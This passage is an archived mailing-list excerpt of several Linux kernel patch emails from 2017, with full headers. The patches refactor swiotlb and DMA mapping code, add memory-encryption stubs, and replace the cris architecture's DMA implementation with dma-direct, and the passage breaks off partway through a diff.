        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:26:19 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUpzb-0007Wd-PQ
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:26:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932308AbdL2I2S (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:28:18 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:57995 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932879AbdL2IXP (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:23:15 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=MOCxcJjG3XUyrCIu1dCbwu3kSMCYXjMVe8M9jE+sCHA=; b=PhosfsndTidDurc0UcMiyjdPg
        OJwVUegS6cp5Hkav6NOH33UbnPst6qByzaXUshSz6Z6g8751sah9xoEgXbaQ3oE6DhHg2ooXDHYJz
        F06AxKet5Auk8Sqli3epRBDRMFAMsbHeITZlXM1BqWWf74saONpwtrFW9eOI8G4CYORwy1xGrmuFU
        12ReGgoUoaJK06lSbhB2X5lc49h1E0gauVP6LZz+MQdIpHoEHn58Fkjsxl4HLuPt90d3Dttgd+NTb
        773A0XzBOgV7ezVQwyPtT+TNWAS4LTR4rmjKsLif/3FzIE18ATMWHRR9vkxfT89z58DNIochjk5MX
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwR-0003LF-HA; Fri, 29 Dec 2017 08:23:00 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56093 gmane.linux.kernel.iommu:21937 gmane.linux.ports.alpha:4604 gmane.linux.kernel.arc:3225 gmane.linux.ports.arm.kernel:622950 gmane.linux.ports.hexagon:1457 gmane.linux.ports.ia64:28447 gmane.linux.kernel.metag:1531 gmane.linux.ports.mips.general:62980 gmane.linux.ports.parisc:28122 gmane.linux.ports.ppc64.devel:151554 gmane.linux.ports.sparc:27100 gmane.linux.kernel.cross-arch:40840 gmane.linux.kernel:2654267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56093>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 include/linux/set_memory.h | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/include/linux/set_memory.h b/include/linux/set_memory.h
index e5140648f638..da5178216da5 100644
--- a/include/linux/set_memory.h
+++ b/include/linux/set_memory.h
@@ -17,4 +17,16 @@ static inline int set_memory_x(unsigned long addr,  int numpages) { return 0; }
 static inline int set_memory_nx(unsigned long addr, int numpages) { return 0; }
 #endif
 
+#ifndef CONFIG_ARCH_HAS_MEM_ENCRYPT
+static inline int set_memory_encrypted(unsigned long addr, int numpages)
+{
+	return 0;
+}
+
+static inline int set_memory_decrypted(unsigned long addr, int numpages)
+{
+	return 0;
+}
+#endif /* CONFIG_ARCH_HAS_MEM_ENCRYPT */
+
 #endif /* _LINUX_SET_MEMORY_H_ */
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 49/67] swiotlb: refactor coherent buffer freeing
Date: Fri, 29 Dec 2017 09:18:53 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20171229081911.2802-50-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514536003 3988 195.159.176.226 (29 Dec 2017 08:26:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:26:43 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 29 09:26:38 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eUpzx-0007xP-Jg
	for glka-linux-arch@m.gmane.org; Fri, 29 Dec 2017 09:26:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932412AbdL2I2i (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 29 Dec 2017 03:28:38 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:48295 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755641AbdL2IXC (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 29 Dec 2017 03:23:02 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=p3vgCQXrDnda2/WFmLsq0tbPPXmf96G94BW/MOzrLv0=; b=I8XiC3DCfFX4+km8rB+g26wHe
        52A70U7Nuw+FUx28Ys2XJasOtPGXnQJftYaUM1FDZOyBNsSHniee76VQeLjDijfHdhqMwC3xSdeg5
        SeN4UjX2oSWWTagCDv99GINGoJHf+xprTBklKB9Elnwn3AfdxqiYYelB/q87rO5Wtf+jT73KodPWo
        PJnV757w4tM9JLcVd3IATUGhLK4djTZLTRECDWUzRKu1pH95nLk6k+kLOCvHlVcC/BRm+sACtIcT+
        85ifwp+jxo9zF1VCsAe7Mllh40LEr6ud/kvJ4mHCjFMIrbLjIxNTe59HtbIAaDeMAoOwnsRtejVm2
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwI-0003F3-G7; Fri, 29 Dec 2017 08:22:51 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40841 gmane.linux.kernel.iommu:21938 gmane.linux.ports.alpha:4605 gmane.linux.kernel.arc:3226 gmane.linux.ports.arm.kernel:622951 gmane.linux.ports.hexagon:1458 gmane.linux.ports.ia64:28448 gmane.linux.kernel.metag:1532 gmane.linux.ports.mips.general:62981 gmane.linux.ports.parisc:28123 gmane.linux.ports.ppc64.devel:151555 gmane.linux.ports.sh.devel:56094 gmane.linux.ports.sparc:27101 gmane.linux.kernel:2654268
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40841>

Factor out a new swiotlb_free_buffer helper that checks if an address
is allocated from the swiotlb bounce buffer, and if yes frees it.

This allows to simplify the swiotlb_free implemenation that uses
dma_direct_free to free the non-bounce buffer allocations.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/swiotlb.c | 35 +++++++++++++++++++++--------------
 1 file changed, 21 insertions(+), 14 deletions(-)

diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index a14fff30ee9d..adb4dd0091fa 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -773,22 +773,31 @@ swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 }
 EXPORT_SYMBOL(swiotlb_alloc_coherent);
 
+static bool swiotlb_free_buffer(struct device *dev, size_t size,
+		dma_addr_t dma_addr)
+{
+	phys_addr_t phys_addr = dma_to_phys(dev, dma_addr);
+
+	WARN_ON_ONCE(irqs_disabled());
+
+	if (!is_swiotlb_buffer(phys_addr))
+		return false;
+
+	/*
+	 * DMA_TO_DEVICE to avoid memcpy in swiotlb_tbl_unmap_single.
+	 * DMA_ATTR_SKIP_CPU_SYNC is optional.
+	 */
+	swiotlb_tbl_unmap_single(dev, phys_addr, size, DMA_TO_DEVICE,
+				 DMA_ATTR_SKIP_CPU_SYNC);
+	return true;
+}
+
 void
 swiotlb_free_coherent(struct device *hwdev, size_t size, void *vaddr,
 		      dma_addr_t dev_addr)
 {
-	phys_addr_t paddr = dma_to_phys(hwdev, dev_addr);
-
-	WARN_ON(irqs_disabled());
-	if (!is_swiotlb_buffer(paddr))
+	if (!swiotlb_free_buffer(hwdev, size, dev_addr))
 		free_pages((unsigned long)vaddr, get_order(size));
-	else
-		/*
-		 * DMA_TO_DEVICE to avoid memcpy in swiotlb_tbl_unmap_single.
-		 * DMA_ATTR_SKIP_CPU_SYNC is optional.
-		 */
-		swiotlb_tbl_unmap_single(hwdev, paddr, size, DMA_TO_DEVICE,
-					 DMA_ATTR_SKIP_CPU_SYNC);
 }
 EXPORT_SYMBOL(swiotlb_free_coherent);
 
@@ -1103,9 +1112,7 @@ void *swiotlb_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 void swiotlb_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
-	if (is_swiotlb_buffer(dma_to_phys(dev, dma_addr)))
-		swiotlb_free_coherent(dev, size, vaddr, dma_addr);
-	else
+	if (!swiotlb_free_buffer(dev, size, dma_addr))
 		dma_direct_free(dev, size, vaddr, dma_addr, attrs);
 }
 
-- 
2.14.2



From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 48/67] swiotlb: rely on dev->coherent_dma_mask
Date: Fri, 29 Dec 2017 09:18:52 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20171229081911.2802-49-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514536028 9029 195.159.176.226 (29 Dec 2017 08:27:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:27:08 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:27:02 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUq0J-0001qf-78
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:26:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932971AbdL2I3A (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:29:00 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46088 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755364AbdL2IW6 (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:22:58 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=LRelLG5rQQy1twcwEG5RJGm/fc943jbDguWWiVhJJyM=; b=HsWMhsg8dADDbOL2oim72voZy
        9X/VBfjDPCTfyzeiOLq/wsI9ln/vO0KnjQ+v6WnuSJgiRtWPaEFH2Oxrpk1BDW7FIdlkRgVVsUieD
        XUObWQ109YiuT3UbILs7RuMC9iTTECms15TI2Ls+WyFClG1/uJTL24zJsuX4Lonu73qtbmLWIHu9e
        vZK5K9tLfgf2k3GfD5z1/8bFkcalNw63cMIwkhUyFUz9iCKraRi5/DUOKRSXuxJ1ctz/JL8jppyz6
        HPcHatAf5gBlumLMs6oe0wV24nQitZF522P/ZVwCYOlSuBGBLZznYQzxrdir0sZWB1zybTclBk49q
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwE-0003Bw-1x; Fri, 29 Dec 2017 08:22:46 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27102 gmane.linux.kernel.iommu:21939 gmane.linux.ports.alpha:4606 gmane.linux.kernel.arc:3227 gmane.linux.ports.arm.kernel:622952 gmane.linux.ports.hexagon:1459 gmane.linux.ports.ia64:28449 gmane.linux.kernel.metag:1533 gmane.linux.ports.mips.general:62982 gmane.linux.ports.parisc:28124 gmane.linux.ports.ppc64.devel:151556 gmane.linux.ports.sh.devel:56095 gmane.linux.kernel.cross-arch:40842 gmane.linux.kernel:2654269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27102>

These days the coherent DMA mask is always set, so don't work around the
lack of it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/swiotlb.c | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index e0b8980334c3..a14fff30ee9d 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -716,15 +716,11 @@ swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 	dma_addr_t dev_addr;
 	void *ret;
 	int order = get_order(size);
-	u64 dma_mask = DMA_BIT_MASK(32);
-
-	if (hwdev && hwdev->coherent_dma_mask)
-		dma_mask = hwdev->coherent_dma_mask;
 
 	ret = (void *)__get_free_pages(flags, order);
 	if (ret) {
 		dev_addr = swiotlb_virt_to_bus(hwdev, ret);
-		if (dev_addr + size - 1 > dma_mask) {
+		if (dev_addr + size - 1 > hwdev->coherent_dma_mask) {
 			/*
 			 * The allocated memory isn't reachable by the device.
 			 */
@@ -747,9 +743,9 @@ swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 		dev_addr = swiotlb_phys_to_dma(hwdev, paddr);
 
 		/* Confirm address can be DMA'd by device */
-		if (dev_addr + size - 1 > dma_mask) {
+		if (dev_addr + size - 1 > hwdev->coherent_dma_mask) {
 			printk("hwdev DMA mask = 0x%016Lx, dev_addr = 0x%016Lx\n",
-			       (unsigned long long)dma_mask,
+			       (unsigned long long)hwdev->coherent_dma_mask,
 			       (unsigned long long)dev_addr);
 
 			/*
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 34/67] cris: use dma-direct
Date: Fri, 29 Dec 2017 09:18:38 +0100
Lines: 171
Approved: news@gmane.org
Message-ID: <20171229081911.2802-35-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514536041 11802 195.159.176.226 (29 Dec 2017 08:27:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:27:21 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 linux-snps-arc@lists.infradead.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Dec 29 09:27:15 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eUq0T-0002Su-JJ
	for gla-linux-snps-arc@m.gmane.org; Fri, 29 Dec 2017 09:27:09 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=eLX4hG5HvGbNps1yhzANtJmyYTNOVF6y+bNMjyjAv2c=; b=EgbMhlpPtHrKP3wJ1HtRhe+F+f
	1gWeTBgR2WDZDkhG3b1/BLQb6i16Ul300gQhKRlyiSumDB1mPCwhX8foPsBr2CcpvKi9HMc1pKQEr
	k1ME98B6VUylnZni3TnlkYM03uWEX517AQYOFxOUoYmwy9PyD92qANIIA1lKkqCwiNl26WVuubwrK
	CHkyntn8gJk+R8aQkOZ7IzmHXi6wYJQzo2jRMdls8LzY/n0FJlzXAx3h+t/c/CtmtIa6X/3pMTO1m
	HLxdIIx/MmyKF74enjaQQ2Ak//jZN+KSQaqzXb2iKb74PAWeBaF38Hz2AQ+1hSev4GhlvQhhjIMN2
	Xxm5kecg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1eUq2P-0007uL-3l; Fri, 29 Dec 2017 08:29:09 +0000
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1eUpvG-0002XS-Ma; Fri, 29 Dec 2017 08:21:47 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3228 gmane.linux.kernel.iommu:21940 gmane.linux.ports.mips.general:62983 gmane.linux.ports.ia64:28450 gmane.linux.ports.sh.devel:56096 gmane.linux.ports.sparc:27103 gmane.linux.kernel.cross-arch:40843 gmane.linux.ports.hexagon:1460 gmane.linux.kernel.metag:1534 gmane.linux.ports.arm.kernel:622953 gmane.linux.ports.parisc:28125 gmane.linux.kernel:2654270 gmane.linux.ports.alpha:4607 gmane.linux.ports.ppc64.devel:151557
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3228>

cris currently has an incomplete direct mapping dma_map_ops implementation
is PCI support is enabled.  Replace it with the fully feature generic
dma-direct implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/cris/Kconfig                       |  4 ++
 arch/cris/arch-v32/drivers/pci/Makefile |  2 +-
 arch/cris/arch-v32/drivers/pci/dma.c    | 78 ---------------------------------
 arch/cris/include/asm/Kbuild            |  1 +
 arch/cris/include/asm/dma-mapping.h     | 20 ---------
 5 files changed, 6 insertions(+), 99 deletions(-)
 delete mode 100644 arch/cris/arch-v32/drivers/pci/dma.c
 delete mode 100644 arch/cris/include/asm/dma-mapping.h

diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index 54d3f426763b..cd5a0865c97f 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -33,6 +33,9 @@ config GENERIC_CALIBRATE_DELAY
 config NO_IOPORT_MAP
 	def_bool y if !PCI
 
+config NO_DMA
+	def_bool y if !PCI
+
 config FORCE_MAX_ZONEORDER
 	int
 	default 6
@@ -72,6 +75,7 @@ config CRIS
 	select GENERIC_SCHED_CLOCK if ETRAX_ARCH_V32
 	select HAVE_DEBUG_BUGVERBOSE if ETRAX_ARCH_V32
 	select HAVE_NMI
+	select DMA_DIRECT_OPS if PCI
 
 config HZ
 	int
diff --git a/arch/cris/arch-v32/drivers/pci/Makefile b/arch/cris/arch-v32/drivers/pci/Makefile
index bff7482f2444..93c8be6170b1 100644
--- a/arch/cris/arch-v32/drivers/pci/Makefile
+++ b/arch/cris/arch-v32/drivers/pci/Makefile
@@ -2,4 +2,4 @@
 # Makefile for Etrax cardbus driver
 #
 
-obj-$(CONFIG_ETRAX_CARDBUS)        += bios.o dma.o
+obj-$(CONFIG_ETRAX_CARDBUS)        += bios.o
diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
deleted file mode 100644
index c7e3056885d3..000000000000
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ /dev/null
@@ -1,78 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-/*
- * Dynamic DMA mapping support.
- *
- * On cris there is no hardware dynamic DMA address translation,
- * so consistent alloc/free are merely page allocation/freeing.
- * The rest of the dynamic DMA mapping interface is implemented
- * in asm/pci.h.
- *
- * Borrowed from i386.
- */
-
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/string.h>
-#include <linux/pci.h>
-#include <linux/gfp.h>
-#include <asm/io.h>
-
-static void *v32_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
-{
-	void *ret;
-
-	if (dev == NULL || (dev->coherent_dma_mask < 0xffffffff))
-		gfp |= GFP_DMA;
-
-	ret = (void *)__get_free_pages(gfp,  get_order(size));
-
-	if (ret != NULL) {
-		memset(ret, 0, size);
-		*dma_handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-
-static void v32_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, unsigned long attrs)
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-}
-
-static inline dma_addr_t v32_dma_map_page(struct device *dev,
-		struct page *page, unsigned long offset, size_t size,
-		enum dma_data_direction direction, unsigned long attrs)
-{
-	return page_to_phys(page) + offset;
-}
-
-static inline int v32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
